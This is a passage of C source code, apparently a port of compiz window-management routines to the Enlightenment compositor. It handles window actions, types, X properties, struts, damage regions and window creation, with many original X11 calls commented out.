CompWindowActionMinimizeMask | CompWindowActionCloseMask | CompWindowActionChangeDesktopMask; break; case CompWindowTypeUtilMask: case CompWindowTypeMenuMask: case CompWindowTypeToolbarMask: actions = CompWindowActionMoveMask | CompWindowActionResizeMask | CompWindowActionStickMask | CompWindowActionCloseMask | CompWindowActionChangeDesktopMask; break; case CompWindowTypeDialogMask: case CompWindowTypeModalDialogMask: actions = CompWindowActionMaximizeHorzMask | CompWindowActionMaximizeVertMask | CompWindowActionMoveMask | CompWindowActionResizeMask | CompWindowActionStickMask | CompWindowActionCloseMask | CompWindowActionChangeDesktopMask; /* allow minimization for dialog windows if they a) are not a transient (transients can be minimized with their parent) b) don't have the skip taskbar hint set (as those have no target to be minimized to) */ if (!w->transientFor && !(w->state & CompWindowStateSkipTaskbarMask)) { actions |= CompWindowActionMinimizeMask; } default: break; } if (w->input.top) actions |= CompWindowActionShadeMask; actions |= (CompWindowActionAboveMask | CompWindowActionBelowMask); switch (w->wmType) { case CompWindowTypeNormalMask: actions |= CompWindowActionFullscreenMask | CompWindowActionMinimizeMask; default: break; } if (w->sizeHints.min_width == w->sizeHints.max_width && w->sizeHints.min_height == w->sizeHints.max_height) actions &= ~(CompWindowActionResizeMask | CompWindowActionMaximizeHorzMask | CompWindowActionMaximizeVertMask | CompWindowActionFullscreenMask); if (!(w->mwmFunc & MwmFuncAll)) { if (!(w->mwmFunc & MwmFuncResize)) actions &= ~(CompWindowActionResizeMask | CompWindowActionMaximizeHorzMask | CompWindowActionMaximizeVertMask | CompWindowActionFullscreenMask); if (!(w->mwmFunc & MwmFuncMove)) actions &= ~(CompWindowActionMoveMask | CompWindowActionMaximizeHorzMask | CompWindowActionMaximizeVertMask | CompWindowActionFullscreenMask); if (!(w->mwmFunc & MwmFuncIconify)) actions &= ~CompWindowActionMinimizeMask; if (!(w->mwmFunc & MwmFuncClose)) actions &= ~CompWindowActionCloseMask; } (*w->screen->getAllowedActionsForWindow)(w, &setActions, &clearActions); actions &= ~clearActions; actions |= setActions; if (actions != w->actions) { w->actions = actions; setWindowActions(w->screen->display, actions, w->id); } } void getAllowedActionsForWindow(CompWindow *w, unsigned int *setActions, unsigned int *clearActions) { *setActions = 0; *clearActions = 0; } unsigned int constrainWindowState(unsigned int state, unsigned int actions) { if (!(actions & CompWindowActionMaximizeHorzMask)) state &= ~CompWindowStateMaximizedHorzMask; if (!(actions & CompWindowActionMaximizeVertMask)) state &= ~CompWindowStateMaximizedVertMask; if (!(actions & CompWindowActionShadeMask)) state &= ~CompWindowStateShadedMask; if (!(actions & CompWindowActionFullscreenMask)) state &= ~CompWindowStateFullscreenMask; return state; } unsigned int windowTypeFromString(const char *str) { if (strcasecmp(str, "desktop") == 0) return CompWindowTypeDesktopMask; else if (strcasecmp(str, "dock") == 0) return CompWindowTypeDockMask; else if (strcasecmp(str, "toolbar") == 0) return CompWindowTypeToolbarMask; else if (strcasecmp(str, "menu") == 0) return CompWindowTypeMenuMask; else if (strcasecmp(str, "utility") == 0) return CompWindowTypeUtilMask; else if (strcasecmp(str, "splash") == 0) return CompWindowTypeSplashMask; else if (strcasecmp(str, "dialog") == 0) return CompWindowTypeDialogMask; else if (strcasecmp(str, "normal") == 0) return CompWindowTypeNormalMask; else if (strcasecmp(str, "dropdownmenu") == 0) return CompWindowTypeDropdownMenuMask; else if (strcasecmp(str, "popupmenu") == 0) return CompWindowTypePopupMenuMask; else if (strcasecmp(str, "tooltip") == 0) return CompWindowTypeTooltipMask; else if (strcasecmp(str, "notification") == 0) return CompWindowTypeNotificationMask; else if (strcasecmp(str, "combo") == 0) return CompWindowTypeComboMask; else if (strcasecmp(str, "dnd") == 0) return CompWindowTypeDndMask; else if (strcasecmp(str, "modaldialog") == 0) return CompWindowTypeModalDialogMask; else if (strcasecmp(str, "fullscreen") == 0) return CompWindowTypeFullscreenMask; else if (strcasecmp(str, "unknown") == 0) return CompWindowTypeUnknownMask; else if (strcasecmp(str, "any") == 0) return ~0; return 0; } unsigned int getWindowType(CompDisplay *display, Window id) { E_Client *ec; ec = e_pixmap_find_client(E_PIXMAP_TYPE_X, id); if (!ec) ec = e_pixmap_find_client(E_PIXMAP_TYPE_WL, id); return win_type_to_compiz(ec->netwm.type); } void recalcWindowType(CompWindow *w) { unsigned int type; type = w->wmType; if (!w->attrib.override_redirect && w->wmType == CompWindowTypeUnknownMask) type = CompWindowTypeNormalMask; if (w->state & CompWindowStateFullscreenMask) type = CompWindowTypeFullscreenMask; if (type == CompWindowTypeNormalMask) { if (w->transientFor) type = CompWindowTypeDialogMask; } if (type == CompWindowTypeDockMask && (w->state & CompWindowStateBelowMask)) type = CompWindowTypeNormalMask; if ((type & (CompWindowTypeNormalMask | CompWindowTypeDialogMask)) && (w->state & CompWindowStateModalMask)) type = CompWindowTypeModalDialogMask; w->type = type; } void getMwmHints(CompDisplay *display, Window id, unsigned int *func, unsigned int *decor) { Atom actual; int result, format; unsigned long n, left; unsigned char *data; *func = MwmFuncAll; *decor = MwmDecorAll; result = XGetWindowProperty(display->display, id, display->mwmHintsAtom, 0L, 20L, FALSE, display->mwmHintsAtom, &actual, &format, &n, &left, &data); if (result == Success && data) { MwmHints *mwmHints = (MwmHints *)data; if (n >= PropMotifWmHintElements) { if (mwmHints->flags & MwmHintsDecorations) *decor = mwmHints->decorations; if (mwmHints->flags & MwmHintsFunctions) *func = mwmHints->functions; } XFree(data); } } unsigned int getProtocols(CompDisplay *display, Window id) { Atom *protocol; int count; unsigned int protocols = 0; if (XGetWMProtocols(display->display, id, &protocol, &count)) { int i; for (i = 0; i < count; i++) { if (protocol[i] == display->wmDeleteWindowAtom) protocols |= CompWindowProtocolDeleteMask; else if (protocol[i] == display->wmTakeFocusAtom) protocols |= CompWindowProtocolTakeFocusMask; else if (protocol[i] == display->wmPingAtom) protocols |= CompWindowProtocolPingMask; else if (protocol[i] == display->wmSyncRequestAtom) protocols |= CompWindowProtocolSyncRequestMask; } XFree(protocol); } return protocols; } unsigned int getWindowProp(CompDisplay *display, Window id, Atom property, unsigned int defaultValue) { Atom actual; int result, format; unsigned long n, left; unsigned char *data; unsigned int retval = defaultValue; result = XGetWindowProperty(display->display, id, property, 0L, 1L, FALSE, XA_CARDINAL, &actual, &format, &n, &left, &data); if (result == Success && data) { if (n) { unsigned long value; memcpy(&value, data, sizeof (unsigned long)); retval = (unsigned int)value; } XFree(data); } return retval; } void setWindowProp(CompDisplay *display, Window id, Atom property, unsigned int value) { unsigned long data = value; XChangeProperty(display->display, id, property, XA_CARDINAL, 32, PropModeReplace, (unsigned char *)&data, 1); } Bool readWindowProp32(CompDisplay *display, Window id, Atom property, unsigned short *returnValue) { Atom actual; int result, format; unsigned long n, left; unsigned char *data; Bool retval = FALSE; result = XGetWindowProperty(display->display, id, property, 0L, 1L, FALSE, XA_CARDINAL, &actual, &format, &n, &left, &data); if (result == Success && data) { if (n) { CARD32 value; memcpy(&value, data, sizeof (CARD32)); retval = TRUE; *returnValue = value >> 16; } XFree(data); } return retval; } unsigned short getWindowProp32(CompDisplay *display, Window id, Atom property, unsigned short defaultValue) { unsigned short result; if (readWindowProp32(display, id, property, &result)) return result; return defaultValue; } void setWindowProp32(CompDisplay *display, Window id, Atom property, unsigned short value) { CARD32 value32; value32 = value << 16 | value; XChangeProperty(display->display, id, property, XA_CARDINAL, 32, PropModeReplace, (unsigned char *)&value32, 1); } static void updateFrameWindow(CompWindow *w) { CompDisplay *d = w->screen->display; if (w->input.left || w->input.right || w->input.top || w->input.bottom) { //XRectangle rects[4]; //int x, y, width, height; //int i = 0; //int bw = w->serverBorderWidth * 2; //x = w->serverX - w->input.left; //y = w->serverY - w->input.top; //width = w->serverWidth + w->input.left + w->input.right + bw; //height = w->serverHeight + w->input.top + w->input.bottom + bw; //if (w->shaded) //height = w->input.top + w->input.bottom; //if (!w->frame) //{ //XSetWindowAttributes attr; //XWindowChanges xwc; //attr.event_mask = 0; //attr.override_redirect = TRUE; //w->frame = XCreateWindow(d->display, w->screen->root, //x, y, width, height, 0, //CopyFromParent, //InputOnly, //CopyFromParent, //CWOverrideRedirect | CWEventMask, &attr); //XGrabButton(d->display, AnyButton, AnyModifier, w->frame, TRUE, //ButtonPressMask | ButtonReleaseMask | ButtonMotionMask, //GrabModeSync, GrabModeSync, None, None); //xwc.stack_mode = Below; //xwc.sibling = w->id; //XConfigureWindow(d->display, w->frame, //CWSibling | CWStackMode, &xwc); //if (w->mapNum || w->shaded) //XMapWindow(d->display, w->frame); //XChangeProperty(d->display, w->id, d->frameWindowAtom, //XA_WINDOW, 32, PropModeReplace, //(unsigned char *)&w->frame, 1); //} //XMoveResizeWindow(d->display, w->frame, x, y, width, height); //rects[i].x = 0; //rects[i].y = 0; //rects[i].width = width; //rects[i].height = w->input.top; //if (rects[i].width && rects[i].height) //i++; //rects[i].x = 0; //rects[i].y = w->input.top; //rects[i].width = w->input.left; //rects[i].height = height - w->input.top - w->input.bottom; //if (rects[i].width && rects[i].height) //i++; //rects[i].x = width - w->input.right; //rects[i].y = w->input.top; //rects[i].width = w->input.right; //rects[i].height = height - w->input.top - w->input.bottom; //if (rects[i].width && rects[i].height) //i++; //rects[i].x = 0; //rects[i].y = height - w->input.bottom; //rects[i].width = width; //rects[i].height = w->input.bottom; //if (rects[i].width && rects[i].height) //i++; //XShapeCombineRectangles(d->display, //w->frame, //ShapeInput, //0, //0, //rects, //i, //ShapeSet, //YXBanded); } else { if (w->frame) { //XDeleteProperty(d->display, w->id, d->frameWindowAtom); //XDestroyWindow(d->display, w->frame); w->frame = None; } } recalcWindowActions(w); } void setWindowFrameExtents(CompWindow *w, CompWindowExtents *input) { if (input->left != w->input.left || input->right != w->input.right || input->top != w->input.top || input->bottom != w->input.bottom) { unsigned long data[4]; w->input = *input; data[0] = input->left; data[1] = input->right; data[2] = input->top; data[3] = input->bottom; updateWindowSize(w); updateFrameWindow(w); recalcWindowActions(w); //XChangeProperty(w->screen->display->display, w->id, //w->screen->display->frameExtentsAtom, //XA_CARDINAL, 32, PropModeReplace, //(unsigned char *)data, 4); } } void updateWindowOutputExtents(CompWindow *w) { CompWindowExtents output; (*w->screen->getOutputExtentsForWindow)(w, &output); if (output.left != w->output.left || output.right != w->output.right || output.top != w->output.top || output.bottom != w->output.bottom) { w->output = output; (*w->screen->windowResizeNotify)(w, 0, 0, 0, 0); } } void setWindowFullscreenMonitors(CompWindow *w, CompFullscreenMonitorSet *monitors) { CompScreen *s = w->screen; CompDisplay *d = s->display; Bool hadFsMonitors = w->fullscreenMonitorsSet; w->fullscreenMonitorsSet = FALSE; if (monitors && monitors->left < s->nOutputDev && monitors->right < s->nOutputDev && monitors->top < s->nOutputDev && monitors->bottom < s->nOutputDev) { BOX fsBox; fsBox.x1 = s->outputDev[monitors->left].region.extents.x1; fsBox.y1 = s->outputDev[monitors->top].region.extents.y1; fsBox.x2 = s->outputDev[monitors->right].region.extents.x2; fsBox.y2 = s->outputDev[monitors->bottom].region.extents.y2; if (fsBox.x1 < fsBox.x2 && fsBox.y1 < fsBox.y2) { w->fullscreenMonitorsSet = TRUE; w->fullscreenMonitorRect.x = fsBox.x1; w->fullscreenMonitorRect.y = fsBox.y1; w->fullscreenMonitorRect.width = fsBox.x2 - fsBox.x1; w->fullscreenMonitorRect.height = fsBox.y2 - fsBox.y1; } } if (w->fullscreenMonitorsSet) { long data[4]; data[0] = monitors->top; data[1] = monitors->bottom; data[2] = monitors->left; data[3] = monitors->right; //XChangeProperty(d->display, w->id, d->wmFullscreenMonitorsAtom, //XA_CARDINAL, 32, PropModeReplace, //(unsigned char *)data, 4); } else if (hadFsMonitors) { //XDeleteProperty(d->display, w->id, d->wmFullscreenMonitorsAtom); } if (w->state & CompWindowStateFullscreenMask) if (w->fullscreenMonitorsSet || hadFsMonitors) updateWindowAttributes(w, CompStackingUpdateModeNone); } static void setWindowMatrix(CompWindow *w) { w->matrix = w->texture->matrix; w->matrix.x0 -= (w->attrib.x * w->matrix.xx); w->matrix.y0 -= (w->attrib.y * w->matrix.yy); } Bool bindWindow(CompWindow *w) { redirectWindow(w); if (!w->pixmap) { E_Pixmap *cp; //XWindowAttributes attr; //Display *dpy = w->screen->display->display; /* don't try to bind window again if it failed previously */ if (w->bindFailed) return FALSE; /* We have to grab the server here to make sure that window is mapped when getting the window pixmap */ //XGrabServer(dpy); //if (!XGetWindowAttributes(dpy, w->id, &attr) || //attr.map_state != IsViewable) //{ //XUngrabServer(dpy); //finiTexture(w->screen, w->texture); //w->bindFailed = TRUE; //return FALSE; //} cp = compiz_win_to_client(w)->pixmap; w->pixmap = e_pixmap_pixmap_get(cp); e_pixmap_size_get(cp, &w->width, &w->height); //XUngrabServer(dpy); } if (!bindPixmapToTexture(w->screen, w->texture, w->pixmap, w->width, w->height, w->attrib.depth)) { compLogMessage("core", CompLogLevelInfo, "Couldn't bind redirected window 0x%x to " "texture\n", (int)w->id); } setWindowMatrix(w); return TRUE; } void releaseWindow(CompWindow *w) { if (w->pixmap) { CompTexture *texture; texture = createTexture(w->screen); if (texture) { destroyTexture(w->screen, w->texture); w->texture = texture; compiz_texture_to_win(texture, w); } XFreePixmap(w->screen->display->display, w->pixmap); w->pixmap = None; } } static void freeWindow(CompWindow *w) { releaseWindow(w); if (w->syncAlarm) XSyncDestroyAlarm(w->screen->display->display, w->syncAlarm); if (w->syncWaitHandle) compRemoveTimeout(w->syncWaitHandle); destroyTexture(w->screen, w->texture); if (w->frame) //XDestroyWindow(w->screen->display->display, w->frame); if (w->clip) XDestroyRegion(w->clip); if (w->region) XDestroyRegion(w->region); if (w->hints) XFree(w->hints); if (w->base.privates) free(w->base.privates); if (w->sizeDamage) free(w->damageRects); if (w->vertices) free(w->vertices); if (w->indices) free(w->indices); if (w->struts) free(w->struts); if (w->icon) freeWindowIcons(w); if (w->startupId) free(w->startupId); if (w->resName) free(w->resName); if (w->resClass) free(w->resClass); compiz_win_hash_del(w); free(w); } void damageTransformedWindowRect(CompWindow *w, float xScale, float yScale, float xTranslate, float yTranslate, BoxPtr rect) { REGION reg; reg.rects = &reg.extents; reg.numRects = 1; reg.extents.x1 = (rect->x1 * xScale) - 1; reg.extents.y1 = (rect->y1 * yScale) - 1; reg.extents.x2 = (rect->x2 * xScale + 0.5f) + 1; reg.extents.y2 = (rect->y2 * yScale + 0.5f) + 1; reg.extents.x1 += xTranslate; reg.extents.y1 += yTranslate; reg.extents.x2 += (xTranslate + 0.5f); reg.extents.y2 += (yTranslate + 0.5f); if (reg.extents.x2 > reg.extents.x1 && reg.extents.y2 > reg.extents.y1) { reg.extents.x1 += w->attrib.x + w->attrib.border_width; reg.extents.y1 += w->attrib.y + w->attrib.border_width; reg.extents.x2 += w->attrib.x + w->attrib.border_width; reg.extents.y2 += w->attrib.y + w->attrib.border_width; damageScreenRegion(w->screen, &reg); } } void damageWindowOutputExtents(CompWindow *w) { if (w->screen->damageMask & COMP_SCREEN_DAMAGE_ALL_MASK) return; return; if (w->shaded || (w->attrib.map_state == IsViewable && w->damaged)) { BoxRec box; /* top */ box.x1 = -w->output.left - w->attrib.border_width; box.y1 = -w->output.top - w->attrib.border_width; box.x2 = w->width + w->output.right - w->attrib.border_width; box.y2 = -w->attrib.border_width; if (box.x1 < box.x2 && box.y1 < box.y2) addWindowDamageRect(w, &box); /* bottom */ box.y1 = w->height - w->attrib.border_width; box.y2 = box.y1 + w->output.bottom - w->attrib.border_width; if (box.x1 < box.x2 && box.y1 < box.y2) addWindowDamageRect(w, &box); /* left */ box.x1 = -w->output.left - w->attrib.border_width; box.y1 = -w->attrib.border_width; box.x2 = -w->attrib.border_width; box.y2 = w->height - w->attrib.border_width; if (box.x1 < box.x2 && box.y1 < box.y2) addWindowDamageRect(w, &box); /* right */ box.x1 = w->width - w->attrib.border_width; box.x2 = box.x1 + w->output.right - w->attrib.border_width; if (box.x1 < box.x2 && box.y1 < box.y2) addWindowDamageRect(w, &box); } } Bool damageWindowRect(CompWindow *w, Bool initial, BoxPtr rect) { return FALSE; } void addWindowDamageRect(CompWindow *w, BoxPtr rect) { REGION region; if (w->screen->damageMask & COMP_SCREEN_DAMAGE_ALL_MASK) return; region.extents = *rect; if (!(*w->screen->damageWindowRect)(w, FALSE, &region.extents)) { region.extents.x1 += w->attrib.x + w->attrib.border_width; region.extents.y1 += w->attrib.y + w->attrib.border_width; region.extents.x2 += w->attrib.x + w->attrib.border_width; region.extents.y2 += w->attrib.y + w->attrib.border_width; region.rects = &region.extents; region.numRects = region.size = 1; damageScreenRegion(w->screen, &region); } } void getOutputExtentsForWindow(CompWindow *w, CompWindowExtents *output) { output->left = 0; output->right = 0; output->top = 0; output->bottom = 0; } void addWindowDamage(CompWindow *w) { if (w->screen->damageMask & COMP_SCREEN_DAMAGE_ALL_MASK) return; if (w->shaded || (w->attrib.map_state == IsViewable && w->damaged)) { BoxRec box; box.x1 = box.y1 = 0; box.x2 = w->width; box.y2 = w->height; addWindowDamageRect(w, &box); } } void updateWindowRegion(CompWindow *w) { REGION rect; XRectangle r, *rects, *shapeRects = 0; int i, n = 0; EMPTY_REGION(w->region); if (w->screen->display->shapeExtension) { int order; shapeRects = XShapeGetRectangles(w->screen->display->display, w->id, ShapeBounding, &n, &order); } if (n < 1) { r.x = -w->attrib.border_width; r.y = -w->attrib.border_width; r.width = w->attrib.width + w->attrib.border_width; r.height = w->attrib.height + w->attrib.border_width; rects = &r; n = 1; } else { rects = shapeRects; } rect.rects = &rect.extents; rect.numRects = rect.size = 1; for (i = 0; i < n; i++) { rect.extents.x1 = rects[i].x + w->attrib.border_width; rect.extents.y1 = rects[i].y + w->attrib.border_width; rect.extents.x2 = rect.extents.x1 + rects[i].width + w->attrib.border_width; rect.extents.y2 = rect.extents.y1 + rects[i].height + w->attrib.border_width; if (rect.extents.x1 < 0) rect.extents.x1 = 0; if (rect.extents.y1 < 0) rect.extents.y1 = 0; if (rect.extents.x2 > w->width) rect.extents.x2 = w->width; if (rect.extents.y2 > w->height) rect.extents.y2 = w->height; if (rect.extents.y1 < rect.extents.y2 && rect.extents.x1 < rect.extents.x2) { rect.extents.x1 += w->attrib.x; rect.extents.y1 += w->attrib.y; rect.extents.x2 += w->attrib.x; rect.extents.y2 += w->attrib.y; XUnionRegion(&rect, w->region, w->region); } } if (shapeRects) XFree(shapeRects); } Bool updateWindowStruts(CompWindow *w) { Atom actual; int result, format; unsigned long n, left; unsigned char *data; Bool hasOld, hasNew; CompStruts old, new; if (w->struts) { hasOld = TRUE; old.left = w->struts->left; old.right = w->struts->right; old.top = w->struts->top; old.bottom = w->struts->bottom; } else { hasOld = FALSE; } hasNew = FALSE; new.left.x = 0; new.left.y = 0; new.left.width = 0; new.left.height = w->screen->height; new.right.x = w->screen->width; new.right.y = 0; new.right.width = 0; new.right.height = w->screen->height; new.top.x = 0; new.top.y = 0; new.top.width = w->screen->width; new.top.height = 0; new.bottom.x = 0; new.bottom.y = w->screen->height; new.bottom.width = w->screen->width; new.bottom.height = 0; result = XGetWindowProperty(w->screen->display->display, w->id, w->screen->display->wmStrutPartialAtom, 0L, 12L, FALSE, XA_CARDINAL, &actual, &format, &n, &left, &data); if (result == Success && data) { unsigned long *struts = (unsigned long *)data; if (n == 12) { hasNew = TRUE; new.left.y = struts[4]; new.left.width = struts[0]; new.left.height = struts[5] - new.left.y + 1; new.right.width = struts[1]; new.right.x = w->screen->width - new.right.width; new.right.y = struts[6]; new.right.height = struts[7] - new.right.y + 1; new.top.x = struts[8]; new.top.width = struts[9] - new.top.x + 1; new.top.height = struts[2]; new.bottom.x = struts[10]; new.bottom.width = struts[11] - new.bottom.x + 1; new.bottom.height = struts[3]; new.bottom.y = w->screen->height - new.bottom.height; } XFree(data); } if (!hasNew) { result = XGetWindowProperty(w->screen->display->display, w->id, w->screen->display->wmStrutAtom, 0L, 4L, FALSE, XA_CARDINAL, &actual, &format, &n, &left, &data); if (result == Success && data) { unsigned long *struts = (unsigned long *)data; if (n == 4) { hasNew = TRUE; new.left.x = 0; new.left.width = struts[0]; new.right.width = struts[1]; new.right.x = w->screen->width - new.right.width; new.top.y = 0; new.top.height = struts[2]; new.bottom.height = struts[3]; new.bottom.y = w->screen->height - new.bottom.height; } XFree(data); } } if (hasNew) { int strutX1, strutY1, strutX2, strutY2; int x1, y1, x2, y2; int i; /* applications expect us to clip struts to xinerama edges */ for (i = 0; i < w->screen->display->nScreenInfo; i++) { x1 = w->screen->display->screenInfo[i].x_org; y1 = w->screen->display->screenInfo[i].y_org; x2 = x1 + w->screen->display->screenInfo[i].width; y2 = y1 + w->screen->display->screenInfo[i].height; strutX1 = new.left.x; strutX2 = strutX1 + new.left.width; strutY1 = new.left.y; strutY2 = strutY1 + new.left.height; if (strutX2 > x1 && strutX2 <= x2 && strutY1 < y2 && strutY2 > y1) { new.left.x = x1; new.left.width = strutX2 - x1; } strutX1 = new.right.x; strutX2 = strutX1 + new.right.width; strutY1 = new.right.y; strutY2 = strutY1 + new.right.height; if (strutX1 > x1 && strutX1 <= x2 && strutY1 < y2 && strutY2 > y1) { new.right.x = strutX1; new.right.width = x2 - strutX1; } strutX1 = new.top.x; strutX2 = strutX1 + new.top.width; strutY1 = new.top.y; strutY2 = strutY1 + new.top.height; if (strutX1 < x2 && strutX2 > x1 && strutY2 > y1 && strutY2 <= y2) { new.top.y = y1; new.top.height = strutY2 - y1; } strutX1 = new.bottom.x; strutX2 = strutX1 + new.bottom.width; strutY1 = new.bottom.y; strutY2 = strutY1 + new.bottom.height; if (strutX1 < x2 && strutX2 > x1 && strutY1 > y1 && strutY1 <= y2) { new.bottom.y = strutY1; new.bottom.height = y2 - strutY1; } } } if (hasOld != hasNew || (hasNew && hasOld && memcmp(&new, &old, sizeof (CompStruts)))) { if (hasNew) { if (!w->struts) { w->struts = malloc(sizeof (CompStruts)); if (!w->struts) return FALSE; } *w->struts = new; } else { free(w->struts); w->struts = NULL; } return TRUE; } return FALSE; } static void setDefaultWindowAttributes(XWindowAttributes *wa) { wa->x = 0; wa->y = 0; wa->width = 1; wa->height = 1; wa->border_width = 0; wa->depth = 0; wa->visual = NULL; wa->root = None; wa->class = InputOnly; wa->bit_gravity = NorthWestGravity; wa->win_gravity = NorthWestGravity; wa->backing_store = NotUseful; wa->backing_planes = 0; wa->backing_pixel = 0; wa->save_under = FALSE; wa->colormap = None; wa->map_installed = FALSE; wa->map_state = IsUnviewable; wa->all_event_masks = 0; wa->your_event_mask = 0; wa->do_not_propagate_mask = 0; wa->override_redirect = TRUE; wa->screen = NULL; } EINTERN void handleAddClient(E_Client *ec) { E_Zone *zone; CompDisplay *d; CompScreen *s; zone = ec->zone ? : e_zone_current_get(); for (d = core.displays; d; d = d->next) { for (s = d->screens; s; s = s->next) if (s->screenNum == zone->num) { E_Client *bec; bec = e_client_below_get(ec); addWindow(s, window_get(ec), bec ? window_get(bec) : 0); break; } } } void addWindow(CompScreen *screen, Window id, Window aboveId) { CompWindow *w; CompPrivate *privates; CompDisplay *d = screen->display; E_Client *ec; w = (CompWindow *)calloc(1, sizeof (CompWindow)); if (!w) return; w->next = NULL; w->prev = NULL; w->mapNum = 0; w->activeNum = 0; w->frame = None; w->placed = FALSE; w->minimized = FALSE; w->inShowDesktopMode = FALSE; w->shaded = FALSE; w->hidden = FALSE; w->grabbed = FALSE; w->desktop = screen->currentDesktop; w->initialViewportX = screen->x; w->initialViewportY = screen->y; w->initialTimestamp = 0; w->initialTimestampSet = FALSE; w->pendingUnmaps = 0; w->pendingMaps = 0; w->startupId = NULL; w->resName = NULL; w->resClass = NULL; w->texture = createTexture(screen); if (!w->texture) { free(w); return; } compiz_texture_to_win(w->texture, w); w->screen = screen; w->pixmap = None; w->destroyed = FALSE; w->damaged = FALSE; w->redirected = TRUE; w->managed = FALSE; w->unmanaging = FALSE; w->bindFailed = FALSE; w->destroyRefCnt = 1; w->unmapRefCnt = 1; w->group = NULL; w->hints = NULL; w->damageRects = 0; w->sizeDamage = 0; w->nDamage = 0; w->vertices = 0; w->vertexSize = 0; w->vertexStride = 0; w->indices = 0; w->indexSize = 0; w->vCount = 0; w->indexCount = 0; w->texCoordSize = 2; w->drawWindowGeometry = NULL; w->struts = 0; w->icon = 0; w->nIcon = 0; w->iconGeometry.x = 0; w->iconGeometry.y = 0; w->iconGeometry.width = 0; w->iconGeometry.height = 0; w->iconGeometrySet = FALSE; w->input.left = 0; w->input.right = 0; w->input.top = 0; w->input.bottom = 0; w->output.left = 0; w->output.right = 0; w->output.top = 0; w->output.bottom = 0; w->paint.xScale = 1.0f; w->paint.yScale = 1.0f; w->paint.xTranslate = 0.0f; w->paint.yTranslate = 0.0f; w->alive = TRUE; w->mwmDecor = MwmDecorAll; w->mwmFunc = MwmFuncAll; w->syncAlarm = None; w->syncCounter = 0; w->syncWaitHandle = 0; w->closeRequests = 0; w->lastCloseRequestTime = 0; w->fullscreenMonitorsSet = FALSE; w->overlayWindow = FALSE; if (screen->windowPrivateLen) { privates = malloc(screen->windowPrivateLen * sizeof (CompPrivate)); if (!privates) { destroyTexture(screen, w->texture); free(w); return; } } else privates = 0; compObjectInit(&w->base, privates, COMP_OBJECT_TYPE_WINDOW); w->region = XCreateRegion(); if (!w->region) { freeWindow(w); return; } w->clip = XCreateRegion(); if (!w->clip) { freeWindow(w); return; } ec = e_pixmap_find_client(E_PIXMAP_TYPE_X, id); if (!id) ec = e_pixmap_find_client(E_PIXMAP_TYPE_WL, id); compiz_win_hash_client(w, ec); /* Failure means that window has been destroyed. We still have to add the window to the window list as we might get configure requests which require us to stack other windows relative to it. Setting some default values if this is the case. */ if (e_pixmap_is_x(ec->pixmap)) XGetWindowAttributes(d->display, e_pixmap_window_get(ec->pixmap), &w->attrib); else { setDefaultWindowAttributes(&w->attrib); w->attrib.x = ec->client.x; w->attrib.y = ec->client.y; w->attrib.width = ec->client.w; w->attrib.height = ec->client.h; } w->serverWidth = w->attrib.width; w->serverHeight = w->attrib.height; w->serverBorderWidth = w->attrib.border_width; w->width = w->attrib.width + w->attrib.border_width * 2; w->height = w->attrib.height + w->attrib.border_width * 2; w->sizeHints.flags = 0; recalcNormalHints(w); w->transientFor = None; w->clientLeader = None; w->serverX = w->attrib.x; w->serverY = w->attrib.y; w->syncWait = FALSE; w->syncX = w->attrib.x; w->syncY = w->attrib.y; w->syncWidth = w->attrib.width; w->syncHeight = w->attrib.height; w->syncBorderWidth = w->attrib.border_width; w->saveMask = 0; w->id = id; w->inputHint = TRUE; w->alpha = (w->attrib.depth == 32); w->wmType = 0; w->state = 0; w->actions = 0; w->protocols = 0; w->type = CompWindowTypeUnknownMask; w->lastPong = d->lastPing; insertWindowIntoScreen(screen, w, aboveId); EMPTY_REGION(w->region); if (w->attrib.class != InputOnly) { REGION rect; rect.rects = &rect.extents; rect.numRects = rect.size = 1; rect.extents.x1 = w->attrib.x; rect.extents.y1 = w->attrib.y; rect.extents.x2 = w->attrib.x + w->width; rect.extents.y2 = w->attrib.y + w->height; XUnionRegion(&rect, w->region, w->region); /* need to check for DisplayModal state on all windows */ w->state = getWindowState(d, w->id); updateWindowClassHints(w); } else { w->damage = None; w->attrib.map_state = IsUnmapped; } w->invisible = TRUE; w->wmType = getWindowType(d, w->id); w->protocols = getProtocols(d, w->id); if (!w->attrib.override_redirect) { updateNormalHints(w); updateWindowStruts(w); updateWmHints(w); updateTransientHint(w); w->clientLeader = getClientLeader(w); if (!w->clientLeader) w->startupId = getStartupId(w); recalcWindowType(w); getMwmHints(d, w->id, &w->mwmFunc, &w->mwmDecor); if (!(w->type & (CompWindowTypeDesktopMask | CompWindowTypeDockMask))) { w->desktop = getWindowProp(d, w->id, d->winDesktopAtom, w->desktop); if (w->desktop != 0xffffffff) { if (w->desktop >= screen->nDesktop) w->desktop = screen->currentDesktop; } } } else { recalcWindowType(w); } if (w->type & CompWindowTypeDesktopMask) w->paint.opacity = OPAQUE; else w->paint.opacity = getWindowProp32(d, w->id, d->winOpacityAtom, OPAQUE); w->paint.brightness = getWindowProp32(d, w->id, d->winBrightnessAtom, BRIGHT); if (!screen->canDoSaturated) w->paint.saturation = COLOR; else w->paint.saturation = getWindowProp32(d, w->id, d->winSaturationAtom, COLOR); w->lastPaint = w->paint; if (w->attrib.map_state == IsViewable) { w->placed = TRUE; if (!w->attrib.override_redirect) { w->managed = TRUE; if (compiz_win_to_client(w)->iconic) { if (w->state & CompWindowStateShadedMask) w->shaded = TRUE; else w->minimized = TRUE; } else { if (w->wmType & (CompWindowTypeDockMask | CompWindowTypeDesktopMask)) { setDesktopForWindow(w, 0xffffffff); } else { if (w->desktop != 0xffffffff) w->desktop = ec->desk->x * ec->desk->y + ec->desk->y; //setWindowProp (d, w->id, d->winDesktopAtom, w->desktop); } } } w->attrib.map_state = IsUnmapped; w->pendingMaps++; mapWindow(w); updateWindowAttributes(w, CompStackingUpdateModeInitialMap); if (w->minimized || w->inShowDesktopMode || w->hidden || w->shaded) { w->state |= CompWindowStateHiddenMask; w->pendingUnmaps++; XUnmapWindow(d->display, w->id); setWindowState(d, w->state, w->id); } } else if (!w->attrib.override_redirect) { if (getWmState(d, w->id) == IconicState) { w->managed = TRUE; w->placed = TRUE; if (w->state & CompWindowStateHiddenMask) { if (w->state & CompWindowStateShadedMask) w->shaded = TRUE; else w->minimized = TRUE; } } } /* TODO: bailout properly when objectInitPlugins fails */ assert(objectInitPlugins(&w->base)); (*core.objectAdd)(&screen->base, &w->base); recalcWindowActions(w); updateIconGeometry(w); if (w->shaded) resizeWindow(w, w->attrib.x, w->attrib.y, w->attrib.width, ++w->attrib.height - 1, w->attrib.border_width); } void removeWindow(CompWindow *w) { unhookWindowFromScreen(w->screen, w); //if (!w->destroyed) //{ //CompDisplay *d = w->screen->display; /* 